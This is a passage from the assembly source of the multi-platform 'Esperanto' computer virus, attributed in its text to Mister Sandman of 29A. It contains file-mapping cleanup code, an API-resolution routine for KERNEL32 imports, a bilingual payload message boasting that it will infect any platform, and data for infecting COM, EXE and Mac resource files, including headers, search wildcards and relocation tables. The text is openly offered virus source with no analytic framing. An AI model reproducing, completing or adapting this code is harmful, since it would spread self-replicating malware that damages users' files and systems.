|
||
close_mapping: push dword ptr [ebp+maphandle]
|
||
lea eax,dword ptr [ebp+closehandle_a]
|
||
call dword ptr [eax]
|
||
|
||
; Close handle created by CreateFileA
|
||
|
||
close_handle: push dword ptr [ebp+crfhandle]
|
||
lea eax,dword ptr [ebp+closehandle_a]
|
||
call dword ptr [eax]
|
||
|
||
; And leave with EBX = 0
|
||
|
||
exit_mapping: xor ebx,ebx
|
||
ret
|
||
|
||
; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ EDX => Section ëelta-offset
|
||
; þ ESI => Import address table for KERNEL32.DLL
|
||
; þ EDI => Given API name to look for
|
||
;
|
||
; Exit:
|
||
; EAX => RVA of the given API, or 0 if error
|
||
|
||
; Look for a given API (in EDI) whose RVA we
|
||
; are looking for by means of the structure
|
||
; IMAGE_IMPORT_BY_NAME, pointed by every dword
|
||
; in the thunk data array. First step consists
|
||
; on looking for its address (in ESI)
|
||
|
||
look4name: lodsd
|
||
or eax,eax
|
||
jz inp_not_found
|
||
|
||
; Once found, we get a pointer to the first
|
||
; function name of this structure, and compare
|
||
; it with the name of the API we look for
|
||
|
||
push esi edi
|
||
sub eax,edx
|
||
lea esi,dword ptr [eax+ebx+2]
|
||
name_by_name: lodsb
|
||
or al,al
|
||
jz input_found
|
||
|
||
scasb
|
||
je name_by_name
|
||
|
||
pop edi esi
|
||
jmp look4name
|
||
|
||
; In case names match, we go and get the
|
||
; RVA of the function we've just found in
|
||
; the IAT. Otherwise we keep on searching
|
||
|
||
input_found: pop edi esi
|
||
lea eax,dword ptr [esi-4]
|
||
sub eax,ebx
|
||
add eax,edx
|
||
ret
|
||
|
||
; If we couldn't find the RVA of the API,
|
||
; then we return with EAX equal to zero
|
||
|
||
inp_not_found: xor eax,eax
|
||
ret
|
||
|
||
; Í͹ Data area for the Intel modules ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
text_start label byte
|
||
virus_author db '[Esperanto, by Mister Sandman/29A]',0
|
||
virus_text
|
||
db 'Never mind your culture / Ne gravas via kulturo,',0dh,0ah
|
||
db 'Esperanto will go beyond it / Esperanto preterpasos gxin;',0dh,0ah
|
||
db 'never mind the differences / ne gravas la diferencoj,',0dh,0ah
|
||
db 'Esperanto will overcome them / Esperanto superos ilin.',0dh,0ah
|
||
db 0dh,0ah
|
||
db 'Never mind your processor / Ne gravas via procesoro,',0dh,0ah
|
||
db 'Esperanto will work in it / Esperanto funkcios sub gxi;',0dh,0ah
|
||
db 'never mind your platform / Ne gravas via platformo,',0dh,0ah
|
||
db 'Esperanto will infect it / Esperanto infektos gxin.',0dh,0ah
|
||
db 0dh,0ah
|
||
db 'Now not only a human language, but also a virus...',0dh,0ah
|
||
db 'Turning impossible into possible, Esperanto.',0dh,0ah,0
|
||
text_end label byte
|
||
|
||
api_names label byte
|
||
dd offset createfile_n
|
||
dd offset cfmapping_n
|
||
dd offset mapview_n
|
||
dd offset unmapview_n
|
||
dd offset closehandle_n
|
||
dd offset findfirst_n
|
||
dd offset findnext_n
|
||
dd offset findclose_n
|
||
dd offset loadlibrary_n
|
||
dd offset glocaltime_n
|
||
api_names_end label byte
|
||
|
||
kernel32_n db 'KERNEL32.DLL',0
|
||
user32_n db 'USER32.DLL',0
|
||
gmhandle_n db 'GetModuleHandleA',0
|
||
gpaddress_n db 'GetProcAddress',0
|
||
messagebox_n db 'MessageBoxA',0
|
||
createfile_n db 'CreateFileA',0
|
||
cfmapping_n db 'CreateFileMappingA',0
|
||
mapview_n db 'MapViewOfFile',0
|
||
unmapview_n db 'UnmapViewOfFile',0
|
||
closehandle_n db 'CloseHandle',0
|
||
findfirst_n db 'FindFirstFileA',0
|
||
findnext_n db 'FindNextFileA',0
|
||
findclose_n db 'FindClose',0
|
||
loadlibrary_n db 'LoadLibraryA',0
|
||
glocaltime_n db 'GetLocalTime',0
|
||
|
||
reloc_start label byte
|
||
dw 1
|
||
db 3
|
||
db 4
|
||
dw offset newexe_ip
|
||
old_ne_cs dw ?
|
||
old_ne_ip dw ?
|
||
reloc_end label byte
|
||
|
||
file_flag db 'C'
|
||
inf_timer db ?
|
||
inf_counter db ?
|
||
|
||
exe_cs dw 0fff0h
|
||
exe_ip dw ?
|
||
exe_ss dw ?
|
||
exe_sp dw ?
|
||
|
||
new_com_header db 0e9h,?,?,';',')'
|
||
old_com_header db 0cdh,20h,90h,90h,90h
|
||
|
||
wildcard db '*.*',0
|
||
com_wildcard db '*.COM',0
|
||
exe_wildcard db '*.EXE',0
|
||
|
||
res_name_size dc.b #$4
|
||
resource_name dc.l #'MDEF'
|
||
rels_in_file dc.w #$0
|
||
resource_size dc.w #$espo_file_size
|
||
dist_to_res dc.w #$espo_file_size
|
||
espo_file_end label byte
|
||
|
||
include win32api.inc
|
||
include pe.inc
|
||
include mz.inc
|
||
|
||
kernel32_a dd ?
|
||
user32_a dd ?
|
||
gmhandle_a dd ?
|
||
gpaddress_a dd ?
|
||
|
||
api_addresses label byte
|
||
createfile_a dd ?
|
||
cfmapping_a dd ?
|
||
mapview_a dd ?
|
||
unmapview_a dd ?
|
||
closehandle_a dd ?
|
||
findfirst_a dd ?
|
||
findnext_a dd ?
|
||
findclose_a dd ?
|
||
loadlibrary_a dd ?
|
||
glocaltime_a dd ?
|
||
api_addr_end label byte
|
||
|
||
time_table label byte
|
||
system_year dw ?
|
||
system_month dw ?
|
||
system_week dw ?
|
||
system_day dw ?
|
||
system_hour dw ?
|
||
system_minute dw ?
|
||
system_second dw ?
|
||
system_milsec dw ?
|
||
time_table_end label byte
|
||
|
||
crfhandle dd ?
|
||
maphandle dd ?
|
||
srchandle dd ?
|
||
max_path_size db ?
|
||
finddata db SIZEOF_WIN32_FIND_DATA dup (?)
|
||
|
||
winexe_data label byte
|
||
winexe_offset dw ?
|
||
align_shift db ?
|
||
newexe_size dw ?
|
||
last_newexe dw ?
|
||
lseek_newexe dw ?
|
||
lseek_add dw ?
|
||
|
||
stupid_face db '' ; Ain't it charming? :)
|
||
|
||
file_or_mem db 'F'
|
||
file_offset dw ?
|
||
dot_xy dw ?
|
||
rawdata_ptr dd ?
|
||
thunk_offset dd ?
|
||
filename db 4ch dup (?)
|
||
|
||
old_exe_header db 1000h dup (?)
|
||
espo_mem_end label byte
|
||
end
|